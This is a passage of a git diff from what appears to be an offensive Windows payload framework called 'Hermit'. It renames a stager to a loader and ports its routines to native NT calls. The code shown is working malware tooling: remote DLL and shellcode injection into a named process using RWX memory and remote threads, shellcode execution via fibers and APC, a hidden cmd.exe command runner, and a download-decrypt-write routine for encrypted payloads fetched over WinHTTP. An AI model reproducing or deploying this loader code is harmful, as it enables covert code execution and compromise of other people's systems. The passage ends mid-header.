pProcs->lpWinHttpSendRequest = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpSendRequest")); + pProcs->lpWinHttpWriteData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpWriteData")); + pProcs->lpWinHttpReceiveResponse = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReceiveResponse")); + pProcs->lpWinHttpQueryHeaders = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpQueryHeaders")); + pProcs->lpWinHttpQueryDataAvailable = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpQueryDataAvailable")); + pProcs->lpWinHttpReadData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReadData")); + pProcs->lpWinHttpCloseHandle = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpCloseHandle")); + + return pProcs; + } +} \ No newline at end of file diff --git a/payload/win/stager/src/core/state.cpp b/payload/win/loader/src/core/state.cpp similarity index 100% rename from payload/win/stager/src/core/state.cpp rename to payload/win/loader/src/core/state.cpp diff --git a/payload/win/stager/src/core/stdout.cpp b/payload/win/loader/src/core/stdout.cpp similarity index 100% rename from payload/win/stager/src/core/stdout.cpp rename to payload/win/loader/src/core/stdout.cpp diff --git a/payload/win/stager/src/core/system/arch.cpp b/payload/win/loader/src/core/system/arch.cpp similarity index 100% rename from payload/win/stager/src/core/system/arch.cpp rename to payload/win/loader/src/core/system/arch.cpp diff --git a/payload/win/stager/src/core/system/env.cpp b/payload/win/loader/src/core/system/env.cpp similarity index 100% rename from payload/win/stager/src/core/system/env.cpp rename to payload/win/loader/src/core/system/env.cpp diff --git a/payload/win/loader/src/core/system/fs.cpp b/payload/win/loader/src/core/system/fs.cpp new file mode 100644 index 0000000..9ad9b9b --- /dev/null +++ b/payload/win/loader/src/core/system/fs.cpp @@ -0,0 +1,148 @@ +#include "core/system.hpp" + +namespace System::Fs +{ + std::wstring GetAbsolutePath(const std::wstring& wPath, BOOL bExtendLength) + { + DWORD dwRet = 0; + BOOL success; + WCHAR wBuffer[MAX_PATH] = TEXT(""); + WCHAR wBuf[MAX_PATH] = TEXT(""); + WCHAR** lppPart = {NULL}; + + dwRet = GetFullPathName( + wPath.c_str(), + MAX_PATH, + wBuffer, + lppPart + ); + if (dwRet == 0) + { + return L""; + } + + if (bExtendLength) + { + return L"\\??\\\\" + std::wstring(wBuffer); + } + else + { + return std::wstring(wBuffer); + } + } + + HANDLE CreateNewFile( + Procs::PPROCS pProcs, + const std::wstring& wFilePath + ) { + std::wstring wFileAbsPath = System::Fs::GetAbsolutePath(wFilePath, TRUE); + + NTSTATUS status; + HANDLE hFile; + + // Open file + IO_STATUS_BLOCK ioStatusBlock; + OBJECT_ATTRIBUTES objAttr; + UNICODE_STRING uniFilePath; + + pProcs->lpRtlInitUnicodeString(&uniFilePath, wFileAbsPath.c_str()); + InitializeObjectAttributes(&objAttr, &uniFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + status = pProcs->lpNtCreateFile( + &hFile, + FILE_GENERIC_READ | FILE_GENERIC_WRITE, + &objAttr, + &ioStatusBlock, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ | FILE_SHARE_WRITE, + CREATE_ALWAYS, + FILE_NON_DIRECTORY_FILE | FILE_ATTRIBUTE_NORMAL, + NULL, + 0 + ); + if (status != STATUS_SUCCESS) + { + return NULL; + } + + return hFile; + } + + BOOL WriteBytesToFile( + Procs::PPROCS pProcs, + const std::wstring& wFilePath, + const std::vector& bytes + ) { + std::wstring wFileAbsPath = GetAbsolutePath(wFilePath, TRUE); + + NTSTATUS status; + HANDLE hFile; + + // Open file + IO_STATUS_BLOCK ioStatusBlock; + OBJECT_ATTRIBUTES objAttr; + UNICODE_STRING uniFilePath; + + pProcs->lpRtlInitUnicodeString(&uniFilePath, wFileAbsPath.c_str()); + InitializeObjectAttributes(&objAttr, &uniFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + status = pProcs->lpNtCreateFile( + &hFile, + FILE_GENERIC_WRITE, + &objAttr, + &ioStatusBlock, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ | FILE_SHARE_WRITE, + FILE_OPEN_IF, + FILE_NON_DIRECTORY_FILE, + NULL, + 0 + ); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + + // Write data to the file. + LARGE_INTEGER byteOffset; + byteOffset.QuadPart = 0; + + status = pProcs->lpNtWriteFile( + hFile, + NULL, + NULL, + NULL, + &ioStatusBlock, + (PVOID)bytes.data(), + bytes.size(), + &byteOffset, + NULL + ); + if (status == STATUS_PENDING) + { + status = pProcs->lpNtWaitForSingleObject(hFile, FALSE, NULL); + if (status != STATUS_SUCCESS) + { + pProcs->lpNtClose(hFile); + return FALSE; + } + } + if (status != STATUS_SUCCESS) + { + pProcs->lpNtClose(hFile); + return FALSE; + } + + if (ioStatusBlock.Information <= 0) + { + pProcs->lpNtClose(hFile); + return FALSE; + } + + pProcs->lpNtClose(hFile); + + return TRUE; + } +} \ No newline at end of file diff --git a/payload/win/stager/src/core/system/http.cpp b/payload/win/loader/src/core/system/http.cpp similarity index 91% rename from payload/win/stager/src/core/system/http.cpp rename to payload/win/loader/src/core/system/http.cpp index e30f22e..68e4636 100644 --- a/payload/win/stager/src/core/system/http.cpp +++ b/payload/win/loader/src/core/system/http.cpp @@ -136,7 +136,7 @@ namespace System::Http } else { - ZeroMemory(tempBuffer, dwSize+1); + pProcs->lpRtlZeroMemory(tempBuffer, dwSize+1); if (pProcs->lpWinHttpReadData(hRequest, (LPVOID)tempBuffer, dwSize, &dwDownloaded)) { // Add to buffer; @@ -180,7 +180,7 @@ namespace System::Http } // Read the data - ZeroMemory(pszOutBuffer, dwSize+1); + pProcs->lpRtlZeroMemory(pszOutBuffer, dwSize+1); if (!pProcs->lpWinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwRead)) { break; @@ -230,21 +230,6 @@ namespace System::Http return FALSE; } - // std::ofstream outFile(sFile, std::ios::binary); - HANDLE hFile = CreateFileW( - wDest.c_str(), - GENERIC_WRITE, - 0, - NULL, - CREATE_ALWAYS, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - if (hFile == INVALID_HANDLE_VALUE) - { - return FALSE; - } - // Read file std::wstring wEnc = ReadResponseText(pProcs, resp.hRequest); if (wEnc.length() == 0) @@ -256,16 +241,14 @@ namespace System::Http std::vector decBytes = Crypt::Decrypt(wEnc, pCrypt->pAES->hKey, pCrypt->pAES->iv); // Write data to file - DWORD dwWritten; - if (!WriteFile(hFile, decBytes.data(), decBytes.size(), &dwWritten, NULL)) - { - CloseHandle(hFile); + if (!System::Fs::WriteBytesToFile( + pProcs, + wDest, + decBytes + )) { return FALSE; } - // outFile.close(); - CloseHandle(hFile); - return TRUE; } diff --git a/payload/win/loader/src/core/system/process.cpp b/payload/win/loader/src/core/system/process.cpp new file mode 100644 index 0000000..6223d34 --- /dev/null +++ b/payload/win/loader/src/core/system/process.cpp @@ -0,0 +1,336 @@ +#include "core/system.hpp" + +namespace System::Process +{ + HANDLE ProcessCreate( + Procs::PPROCS pProcs, + LPCWSTR lpApplicationName, + DWORD dwDesiredAccess, + HANDLE hParentProcess + ) { + NTSTATUS status; + HANDLE hProcess; + OBJECT_ATTRIBUTES objAttr; + UNICODE_STRING uniAppName; + + InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); + RtlInitUnicodeString(&uniAppName, lpApplicationName); + + // Create a new process. + status = pProcs->lpNtCreateProcess( + &hProcess, + dwDesiredAccess, + &objAttr, + hParentProcess, + FALSE, + NULL, + NULL, + NULL + ); + if (status != STATUS_SUCCESS) + { + return NULL; + } + + return hProcess; + } + + DWORD GetProcessIdByName(LPCWSTR lpProcessName) + { + DWORD pid = 0; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32 pe32; + pe32.dwSize = sizeof(PROCESSENTRY32); + if (Process32First(hSnapshot, &pe32)) + { + do + { + if (lstrcmpi(pe32.szExeFile, lpProcessName) == 0) + { + pid = pe32.th32ProcessID; + break; + } + } while (Process32Next(hSnapshot, &pe32)); + + } + CloseHandle(hSnapshot); + } + + return pid; + } + + HANDLE ProcessOpen( + Procs::PPROCS pProcs, + DWORD dwProcessID, + DWORD dwDesiredAccess + ) { + HANDLE hProcess; + CLIENT_ID clientId; + clientId.UniqueProcess = reinterpret_cast(dwProcessID); + clientId.UniqueThread = nullptr; + static OBJECT_ATTRIBUTES oa = { sizeof(oa) }; + + pProcs->lpNtOpenProcess( + &hProcess, + dwDesiredAccess, + &oa, + &clientId + ); + return hProcess; + } + + BOOL ProcessTerminate( + Procs::PPROCS pProcs, + HANDLE hProcess, + NTSTATUS ntStatus + ) { + NTSTATUS status = pProcs->lpNtTerminateProcess(hProcess, ntStatus); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + return TRUE; + } + + PVOID VirtualMemoryAllocate( + Procs::PPROCS pProcs, + HANDLE hProcess, + DWORD dwSize, + DWORD dwAllocationType, + DWORD dwProtect + ) { + PVOID baseAddr; + + pProcs->lpNtAllocateVirtualMemory( + hProcess, + &baseAddr, + 0, + (PSIZE_T)&dwSize, + dwAllocationType, + dwProtect + ); + + return baseAddr; + } + + BOOL VirtualMemoryFree( + Procs::PPROCS pProcs, + HANDLE hProcess, + PVOID* lpBaseAddr, + SIZE_T dwSize, + DWORD dwFreeType + ) { + NTSTATUS status = pProcs->lpNtFreeVirtualMemory( + hProcess, + lpBaseAddr, + &dwSize, + dwFreeType + ); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + return TRUE; + } + + BOOL VirtualMemoryWrite( + Procs::PPROCS pProcs, + HANDLE hProcess, + LPVOID lpBaseAddr, + LPVOID lpBuffer, + DWORD dwBufferSize, + PDWORD lpNumberOfBytesWritten + ) { + NTSTATUS status = pProcs->lpNtWriteVirtualMemory( + hProcess, + lpBaseAddr, + (PVOID)lpBuffer, + dwBufferSize, + (PSIZE_T)lpNumberOfBytesWritten + ); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + return TRUE; + } + + HANDLE RemoteThreadCreate( + Procs::PPROCS pProcs, + HANDLE hProcess, + LPTHREAD_START_ROUTINE lpThreadStartRoutineAddr, + PVOID pArgument + ) { + HANDLE hThread; + static OBJECT_ATTRIBUTES oa = { sizeof(oa) }; + + NTSTATUS status = pProcs->lpNtCreateThreadEx( + &hThread, + THREAD_ALL_ACCESS, + NULL, + hProcess, + (PVOID)lpThreadStartRoutineAddr, + pArgument, + 0, + 0, + 0, + 0, + NULL + ); + if (status != STATUS_SUCCESS) + { + return NULL; + } + + return hThread; + } + + std::wstring ExecuteCmd(Procs::PPROCS pProcs, const std::wstring& wCmd) + { + std::wstring result; + + SECURITY_ATTRIBUTES sa; + STARTUPINFOW si; + PROCESS_INFORMATION pi; + HANDLE hReadPipe = NULL; + HANDLE hWritePipe = NULL; + NTSTATUS status; + + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.bInheritHandle = TRUE; + sa.lpSecurityDescriptor = NULL; + + if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) + { + return L""; + } + + if (!SetHandleInformation(hReadPipe, HANDLE_FLAG_INHERIT, 0)) + { + return L""; + } + + pProcs->lpRtlZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); + pProcs->lpRtlZeroMemory(&si, sizeof(STARTUPINFOW)); + + si.cb = sizeof(STARTUPINFOW); + si.hStdError = hWritePipe; + si.hStdOutput = hWritePipe; + si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; + si.wShowWindow = SW_HIDE; + + // Set application name (full path) + WCHAR system32Path[MAX_PATH]; + GetSystemDirectoryW(system32Path, MAX_PATH); + std::wstring wSystem32Path = std::wstring(system32Path); + const std::wstring wApplicationName = wSystem32Path + L"\\cmd.exe"; + // const std::wstring applicationName = wSystem32Path + L"\\WindowsPowerShell\\v1.0\powershell.exe"; + + // Set command + std::wstring commandLine = L"/C " + wCmd; + + if (!System::Process::ProcessCreate( + pProcs, + wApplicationName.c_str(), + 0, + GetCurrentProcess() + )) { + return L""; + } + + // bResults = CreateProcessW( + // applicationName.c_str(), + // &commandLine[0], + // NULL, + // NULL, + // TRUE, + // 0, + // NULL, + // NULL, + // &si, + // &pi + // ); + // if (!bResults) + // { + // return L""; + // } + + // Read stdout + IO_STATUS_BLOCK ioStatusBlock; + ULONG bufferSize = 4096; + std::vector buffer(bufferSize); + + LARGE_INTEGER byteOffset; + byteOffset.QuadPart = 0; + + ULONG bytesRead = 0; + while (bytesRead < bufferSize) + { + status = pProcs->lpNtReadFile( + hReadPipe, + NULL, + NULL, + NULL, + &ioStatusBlock, + buffer.data() + bytesRead, + bufferSize - bytesRead, + &byteOffset, + NULL + ); + + if (status != STATUS_SUCCESS) + { + pProcs->lpNtClose(hWritePipe); + pProcs->lpNtClose(pi.hProcess); + pProcs->lpNtClose(pi.hThread); + pProcs->lpNtClose(hReadPipe); + return L""; + } + + bytesRead += ioStatusBlock.Information; + byteOffset.QuadPart += ioStatusBlock.Information; + + if (ioStatusBlock.Information < bufferSize - bytesRead) + { + break; + } + } + + result = Utils::Convert::UTF8Decode(std::string(buffer.begin(), buffer.end())); + + pProcs->lpNtClose(pi.hProcess); + pProcs->lpNtClose(pi.hThread); + pProcs->lpNtClose(hReadPipe); + + return result; + } + + BOOL ExecuteFile(Procs::PPROCS pProcs, const std::wstring& wFilePath) + { + // STARTUPINFO si; + // PROCESS_INFORMATION pi; + + // pProcs->lpRtlZeroMemory(&si, sizeof(si)); + // si.cb = sizeof(si); + // pProcs->lpRtlZeroMemory(&pi, sizeof(pi)); + + HANDLE hProcess = System::Process::ProcessCreate( + pProcs, + wFilePath.c_str(), + PROCESS_ALL_ACCESS, + GetCurrentProcess() + ); + if (!hProcess) + { + return FALSE; + } + + pProcs->lpNtWaitForSingleObject(hProcess, FALSE, NULL); + + pProcs->lpNtClose(hProcess); + // pProcs->lpNtClose(pi.hThread); + + return TRUE; + } +} \ No newline at end of file diff --git a/payload/win/stager/src/core/technique/injection/dll_injection.cpp b/payload/win/loader/src/core/technique/injection/dll_injection.cpp similarity index 82% rename from payload/win/stager/src/core/technique/injection/dll_injection.cpp rename to payload/win/loader/src/core/technique/injection/dll_injection.cpp index 863619b..7f5fd57 100644 --- a/payload/win/stager/src/core/technique/injection/dll_injection.cpp +++ b/payload/win/loader/src/core/technique/injection/dll_injection.cpp @@ -14,40 +14,51 @@ typedef struct BASE_RELOCATION_ENTRY { namespace Technique::Injection { - BOOL DLLInjection(DWORD dwPID, LPVOID lpDllPath, size_t dwDllPathSize) + BOOL DLLInjection(Procs::PPROCS pProcs, DWORD dwPID, LPVOID lpDllPath, size_t dwDllPathSize) { HANDLE hProcess; HANDLE hThread; PVOID remoteBuffer; - BOOL bResults; - hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); + hProcess = System::Process::ProcessOpen( + pProcs, + dwPID, + PROCESS_ALL_ACCESS + ); if (!hProcess) { return FALSE; } - - remoteBuffer = VirtualAllocEx( + + remoteBuffer = System::Process::VirtualMemoryAllocate( + pProcs, hProcess, - NULL, dwDllPathSize, - MEM_COMMIT, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); if (!remoteBuffer) { + pProcs->lpNtClose(hProcess); return FALSE; } - bResults = WriteProcessMemory( + if (!System::Process::VirtualMemoryWrite( + pProcs, hProcess, remoteBuffer, lpDllPath, dwDllPathSize, NULL - ); - if (!bResults) - { + )) { + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &remoteBuffer, + 0, + MEM_RELEASE + ); + pProcs->lpNtClose(hProcess); return FALSE; } @@ -57,34 +68,47 @@ namespace Technique::Injection ); if (!threadStartRoutineAddr) { + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &remoteBuffer, + 0, + MEM_RELEASE + ); + pProcs->lpNtClose(hProcess); return FALSE; } - hThread = CreateRemoteThread( + hThread = System::Process::RemoteThreadCreate( + pProcs, hProcess, - NULL, - 0, threadStartRoutineAddr, - remoteBuffer, - 0, - NULL + remoteBuffer ); if (!hThread) { + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &remoteBuffer, + 0, + MEM_RELEASE + ); + pProcs->lpNtClose(hProcess); return FALSE; } - WaitForSingleObject(hThread, INFINITE); + pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); - CloseHandle(hProcess); - CloseHandle(hThread); + pProcs->lpNtClose(hProcess); + pProcs->lpNtClose(hThread); return TRUE; } // Reference: // https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection - BOOL ReflectiveDLLInjection(LPCWSTR lpDllPath, size_t dwDllPathSize) + BOOL ReflectiveDLLInjection(Procs::PPROCS pProcs, LPCWSTR lpDllPath, size_t dwDllPathSize) { using LPPROC_DLLMAIN = BOOL(WINAPI*)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved); diff --git a/payload/win/stager/src/core/technique/injection/shellcode_injection.cpp b/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp similarity index 61% rename from payload/win/stager/src/core/technique/injection/shellcode_injection.cpp rename to payload/win/loader/src/core/technique/injection/shellcode_injection.cpp index 35cf155..3abc574 100644 --- a/payload/win/stager/src/core/technique/injection/shellcode_injection.cpp +++ b/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp @@ -2,72 +2,84 @@ namespace Technique::Injection { - BOOL ShellcodeInjection(DWORD dwPID, const std::vector& shellcode) + BOOL ShellcodeInjection(Procs::PPROCS pProcs, DWORD dwPID, const std::vector& shellcode) { HANDLE hProcess; HANDLE hThread; PVOID remoteBuffer; - BOOL bResults; - hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); + hProcess = System::Process::ProcessOpen( + pProcs, + dwPID, + PROCESS_ALL_ACCESS + ); if (!hProcess) { return FALSE; } - remoteBuffer = VirtualAllocEx( + remoteBuffer = System::Process::VirtualMemoryAllocate( + pProcs, hProcess, - NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (!remoteBuffer) { - CloseHandle(hProcess); + pProcs->lpNtClose(hProcess); return FALSE; } - if (!WriteProcessMemory( + if (!System::Process::VirtualMemoryWrite( + pProcs, hProcess, remoteBuffer, - shellcode.data(), + (LPVOID)shellcode.data(), shellcode.size(), NULL )) { - VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); - CloseHandle(hProcess); + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &remoteBuffer, + 0, + MEM_RELEASE + ); + pProcs->lpNtClose(hProcess); return FALSE; } - hThread = CreateRemoteThreadEx( + hThread = System::Process::RemoteThreadCreate( + pProcs, hProcess, - NULL, - 0, (LPTHREAD_START_ROUTINE)remoteBuffer, - NULL, - 0, - NULL, NULL ); if (!hThread) { - VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); - CloseHandle(hProcess); + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &remoteBuffer, + 0, + MEM_RELEASE + ); + pProcs->lpNtClose(hProcess); return FALSE; } - WaitForSingleObject(hThread, INFINITE); + pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); - CloseHandle(hProcess); - CloseHandle(hThread); + pProcs->lpNtClose(hProcess); + pProcs->lpNtClose(hThread); return TRUE; } // Reference: // https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber - BOOL ShellcodeExecutionViaFibers(const std::vector& shellcode) + BOOL ShellcodeExecutionViaFibers(Procs::PPROCS pProcs, const std::vector& shellcode) { // Convert the current thread into a fiber. PVOID mainFiber = ConvertThreadToFiber(NULL); @@ -88,7 +100,7 @@ namespace Technique::Injection // Reference: // https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert - BOOL ShellcodeExecutionViaAPCAndNtTestAlert(const std::vector& shellcode) + BOOL ShellcodeExecutionViaAPCAndNtTestAlert(Procs::PPROCS pProcs, const std::vector& shellcode) { using MY_NTSTATUS = NTSTATUS(NTAPI*)(); diff --git a/payload/win/stager/src/core/utils/convert.cpp b/payload/win/loader/src/core/utils/convert.cpp similarity index 100% rename from payload/win/stager/src/core/utils/convert.cpp rename to payload/win/loader/src/core/utils/convert.cpp diff --git a/payload/win/stager/src/hermit.cpp b/payload/win/loader/src/hermit.cpp similarity index 90% rename from payload/win/stager/src/hermit.cpp rename to payload/win/loader/src/hermit.cpp index ba61017..40eeea9 100644 --- a/payload/win/stager/src/hermit.cpp +++ b/payload/win/loader/src/hermit.cpp @@ -24,7 +24,7 @@ namespace Hermit // pState->pTeb = NtCurrentTeb(); pState->hNTDLL = hNTDLL; pState->hWinHTTPDLL = hWinHTTPDLL; - pState->pProcs = Procs::FindProcs(hNTDLL, hWinHTTPDLL); + pState->pProcs = Procs::FindProcs(hNTDLL, hWinHTTPDLL, FALSE); // pState->pSyscalls = Syscalls::FindSyscalls(hNTDLL); pState->lpPayloadType = PAYLOAD_TYPE_W; pState->lpPayloadTechnique = PAYLOAD_TECHNIQUE_W; @@ -92,11 +92,11 @@ namespace Hermit if (wcscmp(pState->lpPayloadTechnique, L"dll-injection") == 0) { dwPID = System::Process::GetProcessIdByName(pState->lpPayloadProcessToInject); - Technique::Injection::DLLInjection(dwPID, (LPVOID)dllPath.c_str(), dwDllPathSize); + Technique::Injection::DLLInjection(pState->pProcs, dwPID, (LPVOID)dllPath.c_str(), dwDllPathSize); } else if (wcscmp(pState->lpPayloadTechnique, L"reflective-dll-injection") == 0) { - Technique::Injection::ReflectiveDLLInjection(dllPath.c_str(), dwDllPathSize); + Technique::Injection::ReflectiveDLLInjection(pState->pProcs, dllPath.c_str(), dwDllPathSize); } State::Free(pState); @@ -138,7 +138,7 @@ namespace Hermit // Execute if (wcscmp(pState->lpPayloadTechnique, L"direct-execution") == 0) { - System::Process::ExecuteFile(execPath); + System::Process::ExecuteFile(pState->pProcs, execPath); } State::Free(pState); @@ -183,6 +183,8 @@ namespace Hermit return; } + Stdout::DisplayMessageBoxW(wEnc.c_str(), L"ShellcodeLoader wEnc"); + // Decrypt the data std::vector bytes = Crypt::Decrypt(wEnc, pState->pCrypt->pAES->hKey, pState->pCrypt->pAES->iv); @@ -193,15 +195,15 @@ namespace Hermit if (wcscmp(pState->lpPayloadTechnique, L"shellcode-injection") == 0) { dwPID = System::Process::GetProcessIdByName(pState->lpPayloadProcessToInject); - Technique::Injection::ShellcodeInjection(dwPID, bytes); + Technique::Injection::ShellcodeInjection(pState->pProcs, dwPID, bytes); } else if (wcscmp(pState->lpPayloadTechnique, L"shellcode-execution-via-fibers") == 0) { - Technique::Injection::ShellcodeExecutionViaFibers(bytes); + Technique::Injection::ShellcodeExecutionViaFibers(pState->pProcs, bytes); } else if (wcscmp(pState->lpPayloadTechnique, L"shellcode-execution-via-apc-and-nttestalert") == 0) { - Technique::Injection::ShellcodeExecutionViaAPCAndNtTestAlert(bytes); + Technique::Injection::ShellcodeExecutionViaAPCAndNtTestAlert(pState->pProcs, bytes); } State::Free(pState); diff --git a/payload/win/stager/src/main/dll_loader_dll.cpp b/payload/win/loader/src/main/dll_loader_dll.cpp similarity index 100% rename from payload/win/stager/src/main/dll_loader_dll.cpp rename to payload/win/loader/src/main/dll_loader_dll.cpp diff --git a/payload/win/stager/src/main/dll_loader_exe.cpp b/payload/win/loader/src/main/dll_loader_exe.cpp similarity index 100% rename from payload/win/stager/src/main/dll_loader_exe.cpp rename to payload/win/loader/src/main/dll_loader_exe.cpp diff --git a/payload/win/stager/src/main/exec_loader_dll.cpp b/payload/win/loader/src/main/exec_loader_dll.cpp similarity index 100% rename from payload/win/stager/src/main/exec_loader_dll.cpp rename to payload/win/loader/src/main/exec_loader_dll.cpp diff --git a/payload/win/stager/src/main/exec_loader_exe.cpp b/payload/win/loader/src/main/exec_loader_exe.cpp similarity index 100% rename from payload/win/stager/src/main/exec_loader_exe.cpp rename to payload/win/loader/src/main/exec_loader_exe.cpp diff --git a/payload/win/stager/src/main/shellcode_loader_dll.cpp b/payload/win/loader/src/main/shellcode_loader_dll.cpp similarity index 100% rename from payload/win/stager/src/main/shellcode_loader_dll.cpp rename to payload/win/loader/src/main/shellcode_loader_dll.cpp diff --git a/payload/win/stager/src/main/shellcode_loader_exe.cpp b/payload/win/loader/src/main/shellcode_loader_exe.cpp similarity index 100% rename from payload/win/stager/src/main/shellcode_loader_exe.cpp rename to payload/win/loader/src/main/shellcode_loader_exe.cpp diff --git a/payload/win/stager/include/core/procs.hpp b/payload/win/stager/include/core/procs.hpp deleted file mode 100644 index e5a1dfd..0000000 --- a/payload/win/stager/include/core/procs.hpp +++ /dev/null @@ -1,44 +0,0 @@ -#ifndef HERMIT_CORE_PROCS_HPP -#define HERMIT_CORE_PROCS_HPP - -#include -#include -#include - -namespace Procs -{ - // WinHTTP Functions - typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPEN)(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags); - typedef HINTERNET (WINAPI* LPPROC_WINHTTPCONNECT)(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved); - typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPENREQUEST)(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags); - typedef BOOL (WINAPI* LPPROC_WINHTTPSETOPTION)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength); - typedef BOOL (WINAPI* LPPROC_WINHTTPSENDREQUEST)(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext); - typedef BOOL (WINAPI* LPPROC_WINHTTPWRITEDATA)(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten); - typedef BOOL (WINAPI* LPPROC_WINHTTPRECEIVERESPONSE)(HINTERNET hRequest, LPVOID lpReserved); - typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYHEADERS)(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex); - typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYDATAAVAILABLE)(HINTERNET hRequest, LPDWORD lpdwNumberOfBytesAvailable); - typedef BOOL (WINAPI* LPPROC_WINHTTPREADDATA)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesLength, LPDWORD lpdwNumberOfBytesRead); - typedef BOOL (WINAPI* LPPROC_WINHTTPCLOSEHANDLE)(HINTERNET hInternet); - - struct PROCS - { - // WinHTTP - LPPROC_WINHTTPOPEN lpWinHttpOpen; - LPPROC_WINHTTPCONNECT lpWinHttpConnect; - LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest; - LPPROC_WINHTTPSETOPTION lpWinHttpSetOption; - LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest; - LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData; - LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse; - LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders; - LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable; - LPPROC_WINHTTPREADDATA lpWinHttpReadData; - LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle; - }; - - typedef PROCS* PPROCS; - - PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL); -} - -#endif // HERMIT_CORE_PROCS_HPP \ No newline at end of file diff --git a/payload/win/stager/include/core/system.hpp b/payload/win/stager/include/core/system.hpp deleted file mode 100644 index 20d52bd..0000000 --- a/payload/win/stager/include/core/system.hpp +++ /dev/null @@ -1,93 +0,0 @@ -#ifndef HERMIT_CORE_SYSTEM_HPP -#define HERMIT_CORE_SYSTEM_HPP - -#include -#include -#include -#include -#include - -#include "core/crypt.hpp" -#include "core/procs.hpp" -#include "core/stdout.hpp" -#include "core/utils.hpp" - -namespace System::Arch -{ - std::wstring GetName(WORD wProcessorArchitecture); -} - -namespace System::Env -{ - std::wstring GetStrings(const std::wstring& envVar); -} - -namespace System::Http -{ - struct WinHttpHandlers { - HINTERNET hSession; - HINTERNET hConnect; - }; - - struct WinHttpResponse { - BOOL bResult; - HINTERNET hRequest; - DWORD dwStatusCode; - }; - - WinHttpHandlers InitRequest( - Procs::PPROCS pProcs, - LPCWSTR lpHost, - INTERNET_PORT nPort - ); - - WinHttpResponse SendRequest( - Procs::PPROCS pProcs, - HINTERNET hConnect, - LPCWSTR lpHost, - INTERNET_PORT nPort, - LPCWSTR lpPath, - LPCWSTR lpMethod, - LPCWSTR lpHeaders, - LPVOID lpData, - DWORD dwDataLength - ); - - std::vector ReadResponseBytes( - Procs::PPROCS pProcs, - HINTERNET hRequest - ); - - std::wstring ReadResponseText( - Procs::PPROCS pProcs, - HINTERNET hRequest - ); - - BOOL DownloadFile( - Procs::PPROCS pProcs, - Crypt::PCRYPT pCrypt, - HINTERNET hConnect, - LPCWSTR lpHost, - INTERNET_PORT nPort, - LPCWSTR lpPath, - LPCWSTR lpHeaders, - const std::wstring& wInfoJSON, - const std::wstring& 